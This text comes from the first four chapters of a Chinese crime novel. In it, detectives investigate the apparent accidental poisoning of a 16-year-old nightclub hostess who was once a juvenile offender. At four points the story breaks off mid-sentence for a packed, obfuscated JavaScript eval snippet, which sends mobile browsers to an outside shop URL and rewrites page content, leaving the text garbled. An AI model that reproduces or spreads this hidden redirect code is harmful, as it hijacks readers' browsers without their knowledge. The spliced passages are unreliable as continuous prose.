《少年犯》
1. 未成年死者
暴雪过后,街道两边堆满了环卫工人凌晨清理出的积雪,经过时很容易滑倒。
但这并不影响前来看热闹的人。
作为榆州市的老城区,大部分房屋的寿命都在四十年以上,基础设施严重老化,住户多为上了年纪的老榆州人,或是生活拮据而在此暂时租住的打工仔。
此刻,这栋旧楼外挤满了看客,对着被警戒线围起来的某一单元门指指点点。
身穿便服的李成植穿过人群,向最外围值守的民警出示了警官证,对方随即拉开警戒线请他进去。
生面孔。李成植猜测,大概是附近派出所新招的。
在今年年初调入市局之前,他在长虹区分局刑警队工作了十年,对附近片区的警务人员了如指掌。但就他的职业生涯来说,还是头一次看见这片拆迁区聚集这么多人。
为了看热闹都不上班吗?他不由得这么想。
小民警一边领着李成植上楼,说道:“死者在二楼,房东刚刚来确认过了,是独居的租客。”
李成植刚想开口,楼上忽然传来声音,紧接着一个脑袋从扶手拐角处探了出来。
“师父?”
一名年轻警员跑了下来,他同样穿着便服,警徽别在冲锋衣胸前口袋上,向李成植笔直地敬了个礼。是因市局开展“导师制”而成为李成植徒弟的新警员,何骐。
见有人接应,小民警便向李成植点点头,转身下楼维持秩序去了。
“早。天真冷啊,您是走过来的吗?”何骐搓着手问道,他去年刚从警校毕业,一脸稚气未脱。
“在分局签交接文件,顺路过来。”李成植说,“昨晚你值班?”
何骐:“是的,刚九点接到派出所电话,我就搭晓蔓姐的车一起来了。”
“辛苦了。”
两人走到三楼,左侧201的房门开着,有戴着白手套的鉴识科人员进进出出。
进入屋内,是个一室一厅的小户型,约30平大小,全部设施一览无余。
房间的窗帘拉上了,但所有灯都开着,整体非常明亮。
更令人在意的,是弥漫在室内的恶臭。
两名调查人员站在卧室入口处小声交谈,听到动静转过身来。分别是法医,和刑侦队另一名队员,程晓蔓。
“李队。”程晓蔓打招呼,她戴着无框眼镜,梳高马尾,表情一贯的严肃,似乎对这难闻的气味习以为常。
李成植走了过去。
二人面对的床上,躺着一具女性尸体。
死者面部浓妆,年龄在20到30岁之间,身高约为160公分,体型偏瘦,身着浅粉色职业套装和白色长筒袜,似乎是刚刚下班回来,还没来得及更换衣物。
“身份证显示死者名叫周婧,16周岁。”程晓蔓汇报道,“她在平湖区一家名为‘闪星’的高档商务会所工作,亲属关系未知。这是房东了解的信息。”
未成年?
看着死者脸上夸张的彩色眼影,李成植产生了不好的预感。
最近榆州市正在全力推动文明城市创建,从上到下全体政府人员都绷紧了皮,生怕在省级机关验收的临门一脚上出岔子。所以当派出所接到报案时,市局第一时间接手管理,而非通常情况下的由区分局先介入调查。
这当口,哪怕是流氓斗殴,领导都会把相关负责人架到火上烤,更何况是命案,死者还是未成年。棘手。
“杨队人呢?”李成植转头问身后的何骐。
何骐压低声音道:“被老大喊去办公室了,出了这事,估计挨批呢。”
杨永钧,刑侦一队正队长,一个即将退休、说话圆滑的小老头。李成植几乎能想象出他站在大领导桌前,被批的体无完肤,满头大汗的样子。
李成植掩住口鼻,弯腰仔细观察。
尸体的面部潮红,口角处有大量泡沫状呕吐物,除此之外没有明显外伤,也无搏斗痕迹。
枕头和床头贴的明星海报上,均有多处深褐色呕吐物,正是屋内恶臭的来源。
中毒。李成植很快做出了判断。
身后法医的声音证实了这一点:“乙醛中毒,死亡时间在昨晚十点到次日两点之间。死者呕吐物内有大量酒精,初步判断,死者很可能是过度饮酒后服用了头孢类药物,产生了双硫仑效应,最终引起呼吸循环衰竭。也就是俗话说的‘头孢配酒,说走就走’,看这个。”
法医递过来一个白色药瓶,“头孢克肟,典型头孢类药物,错不了。”
李成植戴上手套打开瓶盖,里面装了大半瓶的绿色胶囊。
“是在死者床头柜找到的,抽屉拉开一半,”程晓蔓补充道,“和其他药品还有杂物放在一起。”
“发现尸体的是谁?”李成植问。
程晓蔓:“是楼下的快餐店老板。死者几乎每天都会给老板发信息点餐,但是今天早上没有,老板回拨电话也无人接听,就上门来查看,结果听见手机铃声从里面传出来,担心出了什么事就报警了。”
屋外能听见铃声,说明隔音很差。李成植想,这对于老楼来说很正常。
“死者家属联系上了吗?”
“还没有。我们在死者手机里找到了她姐姐的联系方式,但是拨过去无人接听。”
“继续打。”
目送程晓蔓快步走出房间,李成植转头问:“死者昨晚是自己回来的吗?有没有人陪同?”
“刚刚跟会所通过电话,死者的同事确认她十一点半左右下班后,独自骑电瓶车回家,没有同行人。”
“房间是否有闯入痕迹?”
“所有门窗都上了锁,派出所找房东拿备用钥匙开的门,铁门,”何骐朝门外指了指,“没有撬锁痕迹,”
他顿了顿,说:“应该是意外。”
如果死者是被迫服下头孢药物,就跟现场没有搏斗痕迹产生了矛盾。
考虑到死者的工作性质和死亡原因,意外中毒的可能性远高于他杀。
但愿是意外。
李成植看了眼其他同事,他们脸上的表情似乎也在诉说这一点。
门外传来脚步声,程晓蔓走了进来,她手里举着一部手机,说道:“联系上了,死者姐姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944421|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在S市上班,她说明天会买车票回榆州。”
李成植疑惑:“为什么不能买今天的票?”
程晓蔓歪了歪嘴角,这是她感到无语时的习惯动作:“她说她的工作是按天结钱,明天才调休,今天如果请假会扣工资。”
“她跟她妹妹感情怎么样?”
“一般。她们姐妹是离异家庭,姐姐跟妈妈,妹妹跟爸爸。妈妈五年前肺癌去世,她爸再婚之后就没管过她。”程晓蔓说,“所以周婧的手机里只存了姐姐的联系方式,偶尔打个电话。”
“有她爸的联系方式吗?”
“电话要到了。”程晓蔓立刻道:“我去联系。”
等人走后,何骐放下手里的笔记,忍不住问道:“师父,您怀疑是他杀?”
“先按流程走吧。”李成植不置可否。
就目前来看,这房间是个完美的密室。
门窗紧闭,锁没有撬动痕迹,若是他杀成立,凶手需要事先拿到201号房的铁门钥匙。
钥匙?
李成植的视线转向餐厅,刚进门时候他就发现,餐桌上放着一把金属钥匙,匙柄处有明显的铜锈腐蚀,被鉴识科人员装进了透明塑料袋里。
“备用钥匙是房东给的,那她人呢?”
何骐:“房东是个七十来岁的老太太,听说房间里有尸体,吓坏了,现在还在医院挂水呢。”
“哦。”李成植点点头,“出院之后跟她确认一下,房客手上有几把钥匙、备用钥匙是不是只有她有,还有死者的生活习惯这些。”
“好的。”
李成植回过头,视线再次落到尸体上。
浓重的眼影和口红,点着碎钻的睫毛几乎要压过眼睑,过于夸张的妆容下,是一张年轻到令人叹惜的娃娃脸。
从刚才开始就一直在意,现在他更加确定:这个女孩,他曾在什么地方见过。
长虹分局并没有去平湖扫黄打非的跨区权限。那么,会是在哪里呢?
“师父,杨队发消息让咱们先回去,半小时以后开会。”
“行。”李成植转头向法医和鉴识科人员嘱咐了几句,便抬脚向门外走去。
经过在外面打电话的程晓蔓时,她放下手机,说:“李队,死者父亲不接电话,我又打给她继母,对方表示死者跟他们家断绝来往了,也不准备来认尸。”
“还说了什么?”
“死者继母说,她堕落到这种程度,是自己找死。去年从少管所出来的时候,她爸还想给她找个学校回去上课,但是死者把她爸新家砸了,然后偷拿家里一万块钱跑了,之后也没联系过。”
李成植下楼的脚步一停。“少管所?”
“对。”程晓蔓打开手机,给他看刚收到的信息:
【周婧,女,“129建业路未成年过失杀人案”的四名嫌疑人之一。】
【因过失致人死亡罪,判处有期徒刑两年六个月,收监于榆州市未成年人管教所。】
129建业路未成年过失杀人……
李成植恍然大悟。
原来是她。
2. 意外
“死者在2012年,也就是去年的7月31日刑满释放,在这之后没有学校复学记录,和她继母的叙述一致。”
“至于师父您说的另外三名案犯,其中一人被判无罪释放,另外两人目前还在少管所服刑。”
“对,顺便核实了一下,目前自由身的那个昨天不在榆州市内。”
坐在警车回市局的路上,何骐不断翻动手机页面,向身旁闭目养神的李成植汇报从档案室的同事那里传来的信息。
“已经过去三年了啊……那丫头,现在应该上初中了。”李成植忽然说了这么一句,眼睛依然闭着。
何骐跟后视镜里开车的程晓蔓对视一眼,对方的眼神似乎在说“别看我,我也不知道他说谁”,再看向李成植,他似乎没有要主动解释的意思。
于是都沉默了。
警车迎着晨光飞驰而去,轮胎压过结冰的地面,飞溅起一道道泥泞雪水。
李成植记得,三年前的那天,也下着和昨晚一样纷扬的大雪。
2010年,1月29日。
晚上九点左右,接到派出所出警通知:榆州市立实验小学附近发生持刀抢劫案,被害人心脏病突发,不治身亡。
嫌疑人共四人,其中一人留下自首,另三人逃逸。
案件第一发现人,是受害者的女儿。
李成植作为当时区分局刑侦队队长,跟另一位同事随即出警,因下雪又是晚上,路上几乎没有行人车辆,很快便赶到了案发现场。
现场同样聚集着里三层外三层的围观群众。
李成植拨开人群走进去,与抬着担架的医护人员擦身而过,笼罩的白布暗示下面的人体已彻底失去生命迹象。
他转过头,看见一个人蹲在地上,旁边站着派出所民警。那人看起来最多十五岁,头发理得很短,戴一副黑框眼镜,穿着藏青色防水布校服。
如果不是事先得知被害人有个女儿,李成植会以为他就是被害人亲属。因为这男生正在嚎啕大哭。
他皱起眉头,走到民警身边,问道:“这是嫌疑人?”
民警回头看见是老熟人,不由得露出了“老天保佑你可算来了”的表情,连连点头。脚旁的男生却像是被这三个字刺激到了神经,哭声瞬间凄厉了十倍。
“一共四个人,三男一女,除了他都跑了。”民警压低声音说道,“从我们到这就一直哭。”
李成植再次打量这个男生。他校服的胸口处,有“榆州中学初中部”的字样,以及树木和麦穗组成的环形校徽。
“初中生?”
民警的脸色愈发难看,说:“是的。”
“不是说第一发现人是被害人女儿吗?她在哪里?”李成植问。
“那边。”民警抬起手臂,指向人群角落里,那里停着一辆改装过的三轮车,是兜售煎饼果子等现制食品的小摊贩们常用的那种。
三轮车上架起分成九宫格的钢锅,里面的食材还在咕嘟着热气,顶棚粘有“关东煮”字样的KT板,此刻已经断成两半,一半在风雪里摇摇欲坠,另一半掉在地上,和散落的半成品串混在泥水里。
那女孩就在断开的板子旁边,她的穿着市实验小学的蓝色校服,梳两条麻花辫,身上还背着书包。
李成植向女孩走去。
“被害人有先天性心脏病,救护车赶到之前就不行了。”民警的声音在背后响起。
李成植在女孩对面蹲了下来,对方依然没有动,面容低垂,表情像是风雪中冻住的冰雕。
真可怜,她一定受了很大的刺激。
李成植摸了摸女孩的头,她个子不高,飘满雪粒的头发上夹着一枚红色草莓发卡,摸上去触感冰凉。
“你叫什么名字?”他打算先安抚一下孩子的情绪。
女孩依然垂着头,说出的话却完全出乎了李成植的意料:
“他们会死刑吗?”
“……什么?”李成植以为自己听错了。
“他们杀了人,就应该判死刑,不是吗?”
女孩抬起头,两枚杏仁般的眼睛又大又圆,泪水簌簌地落下。
***
回到市局,李成植在刑侦队办公室里见到了杨队——杨永钧,对方刚挨完上级的夺命连环批,坐在椅子上直叹气。
李成植向他汇报了进度,当听见受害人是未成年、职业疑似涉黄时,这个六十多的小老头脸色铁青,仿佛随时要中风昏厥。
但得知,就目前所掌握的信息,受害人极有可能是意外死亡后,他的脸色渐渐缓和了下来。
“附近有监控吗?”杨永钧问,他从口袋里掏出烟盒,递给李成植,是红色的硬中华。
李成植抽出一只,拿起桌上的打火机给他和自己都点上,然后回答道:“目前还没找到,何骐正在排查,不过附近都是老小区和死胡同,估计难。”
杨永钧点点头,抽了一口烟,又道:“受害人的社会关系怎么样?”
“不算复杂,”李成植考虑着用词,“她去年七月出狱,然后十二月进那家会所,房子也是在那之后租的。”
“那家会所叫什么,闪什么?”
“闪星。”
“去查查,找平湖那帮人一起去,”老杨吐出一口烟圈,声音拔高了几度,“不像话,连未成年人都收,会所人事干的是人事吗?”
“好的。”
“关于这个……工作,受害人家属有没有说什么?”
李成植明白他的意思,说道:“没有,她跟家里人的关系都不怎么亲密。”想了想又道:“但她姐姐明天会过来,可能会问这方面的事情。”
望着缓缓升起的烟雾,杨永钧陷入了沉默,过了一会,他说:“可能性多少?”
“什么?”
“意外。”
“八成。”
李成植本来想说六七成,但是看到杨永钧的表情,他选择往高了说。
“行。”杨永钧说,“刚刚丁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944422|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
局跟我说了,现在是争创文明城市的关键时期,必须尽快结案。如果是意外的话,三天,够出报告了吧?”
李成植迟疑了一下,没有立刻回复。
“上头的顾虑我明白,如果拖久了,媒体那些人闻着味儿找过来,鬼知道要惹上多少麻烦事。”
“明白。”
“小李啊,我明年就要退休了,如果没有意外,未来的榆州市局刑侦一队队长,就是你。”
这是件市局所有人都心照不宣的事情,论阅历论能力,没有比作为副队的李成植更合适的人选。
“希望咱哥俩都能平稳落地,不要节外生枝。”
杨队站起身来,他的手用力拍在李成植肩膀上,像一座山。
**
次日上午九点半,处理完日常公务后,李成植带着何骐再次驱车前往案发地。
程晓蔓已在门口等候。她收到房东出院的消息后,安排了这次会面。
房东是个七十岁的老太,这一栋楼都是她和已故丈夫的资产,儿女都在外地,目前独自居住在一楼的101室,养了三条狗陪伴。刚好是死者房间的正下方。
此刻,她牵着三条棕毛泰迪,倚在楼梯拐角的扶手边,回答着警方问话。
“死者平时是一个人住吗?”何骐问,蹲下来摸了摸毛茸茸的狗头。
“是啊,她租房的时候就一个人。我看她小姑娘家家怪可怜的,还给她打了八折嘞。”房东老太回答道。
何骐:“可她是未成年,咱们租房不是要用到身份证嘛,您没问她监护人同不同意?”
房东老太急了,似乎很担心因租房流程问题而被警方怀疑,连忙答道:“签合同的时候我看过她身份证,是成年人,而且也不叫这个名字,我一直以为她叫周婷啊。”
程晓蔓给何骐使了个眼色,低声说:“用的她姐的身份证。”
何骐点点头,接着问道:“死者平时生活习惯怎么样?比如说是喜欢宅在家里呢,还是经常外出?”
“这小姑娘平常不怎么出门,但是晚上会出去上班,有时候凌晨才回来的。”
“大概是几点到几点?”
房东思考片刻,给了一个时间段:“晚上六点到十二点的样子。”
她忽然露出了不悦的表情:“这小姑娘生活作风很不检点,有好几次我晚上出门遛狗,看到她带男的回来住。是不同的男的哦!”
如同为了呼应房东的证词一般,泰迪们开始此起彼伏地骑何骐的腿,他大惊失色,连忙弯腰驱赶。
于是李成植问:“她平时喝酒吗?”
“喝的喝的。”老太太点头,“还不讲卫生,经常把空酒瓶子扔在门口,味道大得很,楼上住户都跟我投诉好几次了。”
“前天晚上到昨天凌晨,您有没有发现什么异常情况?”
老太太这次思考的时间更久,但当她抬起头时,眼睛里竟然露出了兴奋的光芒。
“狗没有叫。”她说。
3. 姐姐
“狗?是这三只吗?”
“那当然。”她说着,拉开狗绳,把疯狂的狗群从何骐腿上拖开,“他们很敏感,楼道里有点动静就会叫,那小姑娘,”房东撇了撇嘴。
“带男的回来住,闹得动静都不小,我家宝宝们听见了叫个不停,她还下来敲门让我安静一点呢。”
“但是昨天晚上,狗没有叫?”
这条新信息令李成植感到在意,于是他再次确认:“一声也没有?”
“没叫,我确定。”房东回答,并很快说道,“警察先生,那是不是能说明,这就是个意外啊?”
看得出来,她非常在意这次案件的性质。
如果死者是遭人杀害,其他租客难免会对这片区域的治安状态感到忧虑,从而退避三舍,但如果是自杀或者意外身亡,那么未来即便201房间因死过人而不得不闲置下来,起码这栋楼内其余房产不受影响。
想了想,李成植慎重地回答:“有一定概率。”
如果是凶杀案,凶手事先藏在屋内,等死者回来后逼迫其吃下药物,就算死者已经喝的烂醉,不可能完全不反抗,这样一来,楼下的狗便会叫嚷。
也就是说,如果房东没有说谎,意外死亡的可能性便大大提升。”
“哦,还有个事儿。”房东说,“这小姑娘喜欢把钥匙藏在地垫下边。”
“地垫,是这个吗?”
李成植指了指门口的地面,那里有一块长方形短绒垫,涤纶材质,能看出原本是灰色的,因糊满了灰尘和酒渍而呈现出匪夷所思的土黄色。
他戴上手套掀起地垫查看,下面空无一物。
房东老太点点头又摇摇头:“我跟她讲了好多次了,这样不安全,她就是不听,说她老忘带钥匙,所以每天出门前都把钥匙藏在垫子下边,开门的时候收回去。”
“钥匙带来了吗?”李成植转过头,向程晓蔓问道。
“带了。”程晓蔓立即打开随身携带的证物袋,把塑料袋包装的钥匙递给他。
“是这把吗?”李成植举起钥匙,展示给房东看。
老太看了一眼就连连点头:“没错,就是这个。”
“死者藏钥匙的习惯有多少人知道?”
“这我不清楚,可能上下楼的邻居都知道一点吧。只要看到一次她从垫子下边拿钥匙出来,不就晓得了?”
“那么,房客手里有几把钥匙?”
“只有一把,我家里还有一把。”
“好的,谢谢您协助调查。”
走的时候,房东老太一边吃力拉扯着向下冲锋的泰迪们,一边磕磕绊绊地说道:“那小姑娘真不是省油的灯,早知道她在那种地方上班,当初我就不会给她租……唉,这房子以后还怎么住啊,愁死我喽……”
目送她的背影消失在楼道里,听到楼下铁门传来打开又上锁的声音后,何骐这才转过身,向李成植问道:“师父,你为什么不问备用钥匙的事?”
“没有必要了。”
看何骐和程晓蔓都露出不解的表情,李成植从口袋里抽出右手,指向201室铁门的锁孔。
绿色的锁眼旁布满铜锈,昭示着它的年岁跟这栋老楼一样久远。
“这么老的锁,新钥匙会卡在里面。”
就算用原装的钥匙去重新配一把,也很难保证做到一比一还原,而这种多年腐蚀后的旧锁眼,其内部结构往往非常复杂,新钥匙插入后,很可能不仅打不开门,还会因为锯齿卡在缝里拔不出来,只能撬锁。
但不管从外表还是鉴证科的检验报告来看,门锁都没有被撬动的痕迹。
“而且就算凶手事先配备了能够打开铁门的钥匙,还有一件更重要的问题需要解决。”
“是什么?”
李成植并没有直接回答,而是抬起手臂,直接推开了201房间的大门。
房间内呈一字型排布,从入口处开始依次是厨房,客厅和卧室。除了卧室对面的厕所装有隔断门,其他区域一览无余。
“问题就是,”李成植浏览着房内的布置,说道:“藏在哪里。”
这里完全没有能藏人的地方。
就算是躲在唯一存在死角的卫生间里,也无法保证死者不进去使用,到时候就会立刻被发现。
何骐还在愣愣地四处张望,程晓蔓的反应更快,说道:“凶手没有办法提前躲在室内,等死者下班回来胁迫她服药。一旦被死者发现,房东的狗就会叫,但是昨天狗没有叫,那也就是说……”
她顿了顿,松了口气般看向李成植:“这确实是意外。”
何骐露出恍然大悟的表情:“那就是说,可以结案了?”
“还不行。”李成植说。
“啊,为什么?”
“有一个东西令我很在意,从昨天在案发现场看到它的时候,我就觉得很奇怪。”
何骐:“是什么?”
李成植把手伸进口袋,掏出一张照片,递到何骐眼前。
照片上是一个透明的证物袋,里面放着两只白色药瓶,一个贴着“多潘立酮胶囊”字样的标签,是常见的抗呕吐药物。
另一个则是头孢克肟。
根据昨天的调查,刑侦队内部做出推测:死者周婧饮酒后意识不清,本想服用止吐药,却拿错了旁边的头孢胶囊。
可是……
“真的会拿错吗?”
李成植凝视着照片,两只药瓶正并排躺在一起。
止吐药的瓶身,比头孢克肟的,整整大了一倍。
***
下午两点,榆州市公安局一楼的询问室。
墙边老空调发出催眠一般的呼呼风声,加上不断送出的仿佛不要电费钱般的高热空气,室内氛围暖和得令人昏昏欲睡。
“你们要问什么?快点开始吧。”
坐在对面的女人发出抱怨,同时扭过头去,对蹲在脚边玩耍的男孩小声说了句“别吵,回去路上肯定给你买”。
李成植打量着这对母子。
女人衣着朴素,留着披肩短发,才二十多岁的年纪,额头中央已经出现了川字纹,略显沧桑的外表和昨夜浓妆的死者相去甚远。
身旁的程晓蔓翻开笔记本,问道:“不好意思把您喊来,需要确认一下,照片上的死者是您的妹妹,周婧,对吗?”
“是的。”女人答道,似乎有些心不在焉,表情也看不出悲伤。
“您跟她——”
话音未落,男孩突然毫无征兆地大哭起来,把桌上的笔和本子用力扔到地上,女人不得不伸手把他抱在怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944423|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,安抚般轻轻拍着后背。
“您的丈夫没有一起来吗?”看着女人手忙脚乱地照顾孩子的情景,程晓蔓问道。
女人冷冰冰道:“我离婚了。”
“抱歉。”程晓蔓低下头去看笔记本。
李成植不禁在心里为这个工作狂同事兼后辈捏一把汗,担心她会因为态度不佳和缺乏笑意,而再次收到群众投诉。
“您跟死者上一次见面是什么时候?”程晓蔓重新发问。
这一次,女人的态度明显变得更冷淡了:“去年十月。”
也就是周婧入职“闪星”前不久。
“您知道她的生活状况吗?包括经济来源、交的朋友之类的?”
“不知道,她也没说。”
程晓蔓向李成植交换了一个眼神,又问道:“死者去年七月底出狱后,拒绝了她爸送她回学校上课的提议,并跟那边断绝了关系,这件事您知道吗?”
“哦,知道。”女人皱起了眉头,“这跟她的死有关么?”
程晓蔓:“只是例行询问,请不要紧张。”
“哦。”女人再次看向男孩的方向。
“也就是说,您知道死者离开了父亲家,作为未成年也没有谋生手段,您作为跟她有血缘关系的亲姐姐,难道一点都不担心她要怎么生存下去吗?”
闻言,女人突然将头转了过来,李成植在她的目光里察觉了一种熟悉的情绪——那是每次参与闹事调解时,都能从对峙双方的眼睛里看到的凶狠。
她要发火了。
果然,女人倏地起身,居高临下地注视着程晓蔓,一字一顿道:“你的意思是,我很绝情咯?”
“抱歉,我没有这个意思。”程晓蔓回视着她的眼睛,语气依然很镇定。
“那是因为你什么都不知道,所以才能毫无心理负担地说出这种话。”女人冷笑道。
这次,程晓蔓没有作声,但是李成植瞥见她的手指已经握紧了笔杆,做好了记录重要信息的准备。
“如果你的妹妹,说她想要参加一个一直很想去的演唱会,需要成年人的身份信息来购票,你把身份证借给她之后,她却跑去高利贷公司借了五万块的贷款,从那之后你每天收到几十条催债短信,但是你那个妹妹……”
女人的声音因愤怒而变得嘶哑,她拿起桌上的水杯猛灌了一口,才接着说道:“她跑得无影无踪,电话不接短信不回,你呢,你能怎么办?!”
程晓蔓:“据我们所知,死者租房用的身份证——”
女人毫不客气地打断了她:“你们以为我是因为什么离的婚?为什么我老公宁可找那个一大把年纪的狐狸精都不肯要我?都是因为她,你们懂吗?因为我有一个小小年纪就去坐牢的好妹妹!”
她一把踢开椅子,男孩瑟缩在她怀里,似乎对母亲歇斯底里的情绪司空见惯,搂着脖子默不作声。
“我工作很忙,如果你们没有别的事情我就走了。”
女人抱着孩子走到了门口,又扭头说了一句:“以后也别拿这种事来骚扰我了。”
“请等一等,”李成植忽然开口,“如果您对死因或案件有疑问的话,我们可以提出解剖申请。”
“不需要!”
留下这三个字,女人便摔门而去。
4. 秘密
“请在这里稍等一下,我去找刘经理来。”
位于平湖区的“闪星商务会所”门口,看到李成植亮出的证件后,身着高档制服的年轻保安像表演川剧变脸般,脸色瞬间恭敬起来。
看着他匆匆离去的背影,何骐不禁发出了“他为什么不让我们先进去”的疑问。
“他们要先探探底,”李成植从口袋里掏出烟盒,抽出一根叼在嘴里点上,却发现没带打火机,“来这种店里的客人敏感得很,如果发现有警察,可能会引起恐慌,而且又是侧门,在这谈不容易被人看见。”
他说着,抬头环视着这家招牌为“闪星ShinyStar”的高级商务会所。四周外墙上镶嵌形状不规则的镜子,透过身前的玻璃拉门,能看见室内雪白的大理石地面和穹顶处大型水晶吊灯,正折射出耀眼的光斑。
“真奢华啊。”李成植不禁感叹,思考这里的平均开销是否抵上他一个月的工资,既然如此,里面服务生的工资想必也很可观。
死者周婧虽然刚入职不到两个月,但会所、KTV这类特殊场所并不会因为工作年限的长短而对收入产生巨大影响,相反,年轻漂亮的才是高收入的关键。
正在这时,保安去而复返,身后紧跟着一个中年男人,想必就是他提到的刘经理。
“是打过电话的李警官和何警官是吧,你好你好。”
男人伸手的姿势非常标准,脸上表情也谄媚的恰到好处。他梳着油光水亮的大背头,身材高瘦,穿一套浅灰色职业装,看上去像银行或保险从业人员。
李成植潦草地跟他握了下手,问:”方便进去聊吗?”
刘经理脸上的笑容越发谄媚,语气却很坚决,“恐怕……嗯,不是很方便。”
“今晚有重要客人?”
刘经理点了点头,眼神似乎在说“你明白就好”。
“哦,那就在这聊吧。可以抽根烟吗?”李成植问。
“请便。”
李成植抽出烟,这一次,经理从上衣口袋里掏出打火机,动作娴熟地为他点着后,问道:“两位要调查的,是我们店前员工周婧的事情吗?”
“对。”李成植吐出一口烟,回头向身后金碧辉煌的大厅抬了抬下巴,“你在电话里说,她是去年十二月入职的?”
“十二月四号。”经理很笃定地回答,“那天是我们会所五周年店庆,所以我印象很深。”
“是店庆来客太多,女招待人手不够,所以没有仔细审查信息,就把未成年人招进来了?”
这句话非常犀利,但刘经理的表情纹丝不动,像是戴着一副微笑面具,声音也听不出任何区别:“您恐怕误会了,我们人事部门严格执行相关法律法规,周婧能成功入职,完全是因为她用的是符合入职要求的身份信息,也就是成年人。”
“你的意思,她使用了她姐姐周婷的身份证吗?”
“我不知道她们之间是否存在关系,但可以确定的是,她提供的身份信息确实是‘周婷’这个名字。事实上,工作期间我们都称呼她‘July’。”
“July?这是什么?”
“是艺名,李警官,您不会认为,我们这里的女士会使用本名工作吧?”
虽然经理仍然保持着相同的表情,但李成植看出他的笑容里增添了一丝轻蔑的意味。
“可是昨天打电话的时候,你对我提到‘周婧’这个名字毫不意外啊。”何骐皱着眉头说道。
“哦是这样的,周女士前段时间跟我说,她准备改名,等三月份过完生日再去办理正式的手续,所以我知道这个名字。”
临时改名?
经理的话令李成植啼笑皆非,但他深知,有些证词没有办法考证,这种人也滑溜的像泥鳅,根本捉不住。
没必要在这些事情上纠缠了,就算要深入挖掘也是扫黄打非办公室的活儿。
他决定切入主题。
“死者在工作期间有没有不寻常的举动?”
“没有,李警官,真的没有。她才来两个月,还是熟悉业务的阶段,我安排她只需要在下午六点到晚上十一点出勤,每周一休假,她都很正常地上班下班。”
“她的工作态度怎么样?有没有跟顾客或同事发生过争执?”
“她很努力,说实在的,我非常欣赏她,因为入职以来她几乎从没请过假,销售业绩经常拔尖,顾客好评度也很高,这一点我们店里一些老员工都比不上。”
“销售业绩是指?”
“我们女招待的主要工作是向客户推销店内各种高级酒水,以此结算业绩和工资”。经理说着又加上一句,“当然,都是通过合法合规的途径。”
他说得坦然,但李成植事先已经跟平湖区的同事聊过,知道这家会所主要以向客户提供软色情服务来达到销售目的,如陪客户吃饭、喝酒、唱歌,有时还包括各种枕边业务。
“也就是说,死者的薪资水平很高?大概是多少?”
经理沉吟片刻,给出一个范围:“2万到2万5之间。”
“我想你们这里应该有每位客人的消费记录,可以给我们看一下吗?我们只需要跟死者相关的记录就行。”
经理的微笑顿在嘴边,陷入了沉默,眼神似乎在说“你这老傻瓜是在做梦吗”。
他再次开口,声音变得有些冰冷:“如果您执意需要的话,可以下次带着搜查令来,那时我们一定双手奉上。”
“好吧,今天算了。”
李成植耸了耸肩,于是顺势提出了自己的真实目的:“那么,可以让死者关系比较好的同事出来跟我们聊聊吗,如果没有关系好的,搭过班的也可以。”
经理闻言,表情有些犹豫,但也许是觉得两次拒绝警察的请求有些说不过去,只好回答道:“她跟Rebecca关系还可以,您稍等,我去喊她来。”
被称为Rebecca的女孩从店内出来的时候,李成植已经抽完了烟。
他将烟蒂扔在地上,用鞋底碾碎,同时听见了旋转门转动发出的吱嘎声,于是抬起了头。
走出来的女孩穿着周婧同款的短裙装,发型是当下流行的厚刘海公主头,脸上同样浓妆艳抹得看不出真实年纪。
“经理说你们是警察?找我?”女孩歪了歪头,声音很稚嫩。
“你是Rebecca?”何骐愣了一下。
“对,是我。”
“你现在多少岁?”何骐问。
女孩随即挑起了眉毛,表情有点不悦:“二十一,有什么问题。”
李成植伸手拦住了还想追问的何骐,向女孩笑了笑,道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944424|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们想问你几个问题,关于你的同事,July,可以吗?”
“July……经理不是说她吃错药死了吗?”女孩睁大了眼睛,“你们来找我干嘛,难道怀疑是我杀的???”
有些无厘头的表达让李成植一时语塞,只好解释说只是正常的询证流程,不必担心。
